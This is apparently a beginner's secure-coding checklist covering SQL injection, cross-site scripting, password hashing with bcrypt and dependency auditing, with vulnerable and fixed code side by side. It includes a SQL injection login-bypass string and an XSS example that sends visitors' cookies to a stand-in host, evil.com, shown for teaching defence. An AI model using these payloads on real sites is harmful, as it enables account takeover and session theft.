Table of Contents
Why Secure Coding Matters
You've spent hours building your new application. The code works, the design looks clean, and you're ready to show it to the world. But have you locked the front door? Writing functional code is like building a house, but writing secure code is like remembering to install locks on the doors and windows.
You might think, "Why would anyone attack my small project?" In reality, most initial attacks aren't personal; they're automated. Bots constantly scan the internet for common vulnerabilities, testing every digital door they find. This is the foundation of web application security: defending against an attacker mindset that seeks any weakness, no matter how small the target.
Key Takeaway
Fortunately, you don't need to be a security expert to protect your work. Following a few fundamental secure coding practices provides powerful protection. This checklist will give you the essential "locks" every developer should use to keep their hard work safe.
The Golden Rule of Secure Coding: Always Distrust User Input
To build resilient software, you must practice defensive programming by assuming every piece of data coming from outside your application is potentially hostile. We tend to build for the "happy path," assuming a user will enter 'Jane Doe' for their name, but this trust is a vulnerability.
An attacker might submit malicious input specifically crafted to trick your application. For example, instead of a username, they could enter ' OR 1=1; --. When sent unprepared to a database, this can be interpreted as a command that completely bypasses a login screen. When your application blindly accepts this data, it can be manipulated into running commands it was never meant to execute, which is how many applications are compromised.
How to Stop SQL Injection: Let Your Database Do the Heavy Lifting
That ' OR 1=1 trick has a name: SQL Injection (SQLi). It's a top web security risk because it lets attackers trick your database into running their commands. The vulnerability happens when you build database queries by simply stitching strings together (string concatenation). Your database can't tell where your command ends and the attacker's begins, so it executes everything.
Vulnerable Code — String Concatenation
1// DANGEROUS: Never do this!
2const query = "SELECT * FROM users WHERE username = '" + userInput + "'";
3
4// An attacker can input: ' OR 1=1; --
5// Resulting query: SELECT * FROM users WHERE username = '' OR 1=1; --'
6// This returns ALL users from the database!To fix this, use parameterized queries (or prepared statements). This technique involves sending your query template with a placeholder (?) first, and then sending the user's input as a separate value. This approach is a core security best practice because the database is explicitly told, "This is the command, and this other thing is just user data. Never mix them." The database handles the sanitization, rendering the attack useless.
Secure Code — Parameterized Queries
1// SAFE: Use parameterized queries
2const query = "SELECT * FROM users WHERE username = ?";
3db.execute(query, [userInput]);
4
5// The database treats userInput as DATA, never as SQL code.
6// Even if the attacker sends: ' OR 1=1; --
7// The database searches for a user literally named: ' OR 1=1; --Prevent 'Website Graffiti': How to Block Cross-Site Scripting (XSS)
Imagine your comment section is a public wall. Most people write messages, but an attacker can spray-paint a hidden, malicious instruction instead of text. This is Cross-Site Scripting (XSS). When another user views that comment, their browser follows the hidden instruction, allowing the attacker to steal information or perform actions on the victim's behalf. It's a common vulnerability that turns your website into a trap for its own users.
Example XSS Attack Payload
1<!-- An attacker submits this as a "comment" -->
2<script>
3 // This script runs in every visitor's browser
4 document.location = 'https://evil.com/steal?cookie=' + document.cookie;
5</script>
6
7<!-- Visitors see nothing unusual, but their session cookies are stolen -->The solution is a web application security best practice: output encoding. Before displaying any user data, your code must translate special characters (like <) into harmless text equivalents (like <). This simple step tells the browser to show the malicious script as plain text rather than executing it as code.
Image showing a fake comment section. Before: A JavaScript alert() box pops up over the page. After: The text <script>alert('XSS')</script> is visible and harmless in the comment itself.
Output Encoding Example
1// DANGEROUS: Directly inserting user content
2element.innerHTML = userComment;
3// If userComment contains <script>...</script>, it EXECUTES
4
5// SAFE: Encode the output first
6element.textContent = userComment;
7// The browser displays <script>...</script> as harmless text
8
9// In a template engine (e.g., React, EJS):
10// React auto-escapes by default: <p>{userComment}</p> ✅
11// But dangerouslySetInnerHTML bypasses this: ❌
12// <p dangerouslySetInnerHTML={{__html: userComment}} />Remember
By properly encoding your output, you fulfill a key responsibility: protecting your users from each other. Modern frameworks like React and Angular encode output by default, but you must be careful when using features that bypass this protection (like dangerouslySetInnerHTML or [innerHTML]).
Are You Storing Passwords Correctly? The One-Way Street of Hashing
Storing a user's password directly in your database is a critical security flaw. If your data is ever compromised, every single user account is instantly vulnerable. The correct approach is password hashing, a cryptographic method that acts as a one-way street; it turns a password into a unique string of characters that cannot be reversed.
Plain-Text vs. Hashed Passwords
| Storage Method | Stored Value | Security Level |
|---|---|---|
| Plain-text (NEVER do this) | password123 | None — instant compromise |
| Hashed (SHA-256, no salt) | ef92b778bafe.... | Low — vulnerable to rainbow tables |
| Hashed + Salted (bcrypt) | $2b$12$LJ3m4y... | High — industry standard |
When a user logs in, you simply hash their attempt and see if it matches the stored value. You never need to know or store the actual password. For maximum security, add a unique "salt" (a random string) to each password before hashing it. This ensures that even two identical passwords result in different stored hashes. Fortunately, modern authentication libraries handle both hashing and salting for you.
Password Hashing with bcrypt (Node.js)
1const bcrypt = require('bcrypt');
2
3// Storing a password
4async function hashPassword(plainPassword) {
5 const saltRounds = 12; // Higher = more secure but slower
6 const hashedPassword = await bcrypt.hash(plainPassword, saltRounds);
7 // Store hashedPassword in your database
8 return hashedPassword;
9}
10
11// Verifying a password at login
12async function verifyPassword(plainPassword, storedHash) {
13 const isMatch = await bcrypt.compare(plainPassword, storedHash);
14 return isMatch; // true if password is correct
15}Your Code's Dependencies Are Your Code: Managing Third-Party Risk
When you run npm install or pip install, you are bolting someone else's work onto your own. This is your software supply chain, and it comes with responsibility. If a vulnerability is discovered in one of those third-party libraries - even a dependency of a dependency — it instantly becomes your vulnerability, too.
Attackers specifically target popular packages, knowing that a single compromised library can infect thousands of applications. Ignoring the health of your dependencies is like a chef using ingredients from an untrusted supplier; you are ultimately responsible for the safety of the final product.
Auditing Dependencies
1# Check for known vulnerabilities in your Node.js project
2npm audit
3
4# Automatically fix vulnerabilities where possible
5npm audit fix
6
7# For Python projects
8pip-audit
9
10# For Go projects
11govulncheck ./...Automate Your Security
Modern development platforms have built-in tools for automated security scanning. Services like GitHub's Dependabot and Snyk can automatically create pull requests to update insecure packages, keeping your supply chain healthy without manual effort.
- Run regular audits — Use
npm audit,pip-audit, or equivalent tools. - Enable automated updates — Configure Dependabot or Renovate for automatic PRs.
- Pin dependency versions — Use lock files (
package-lock.json,poetry.lock) to ensure reproducible builds. - Review new dependencies — Check download counts, maintenance activity, and known issues before adding packages.
- Monitor for advisories — Subscribe to security advisories for critical dependencies.
From Working Code to Secure Code: Your Next Steps
You're now equipped with a defensive mindset, understanding that every input is a potential risk. This secure coding practices checklist has given you the tools to move from simply being a builder to also being a defender of your work.
Take Action Now
Don't let this knowledge stay theoretical. Go to your last project and pick one thing. Can you apply a single principle from this guide, like validating one form field or escaping output on one page? That small, immediate action is your first step toward building truly resilient code.
Security is a habit, not a finish line. As this mindset becomes a natural part of your development lifecycle, you'll be ready for the next step in your journey. The OWASP Top 10 is waiting to guide you further.
- Validate all user input on the server side.
- Use parameterized queries for all database operations.
- Encode all output before rendering user-supplied data.
- Hash passwords with bcrypt, scrypt, or Argon2.
- Audit your dependencies regularly and enable automated scanning.
- Implement Content Security Policy headers.
- Use HTTPS everywhere and set secure cookie flags.
- Follow the principle of least privilege for all access controls.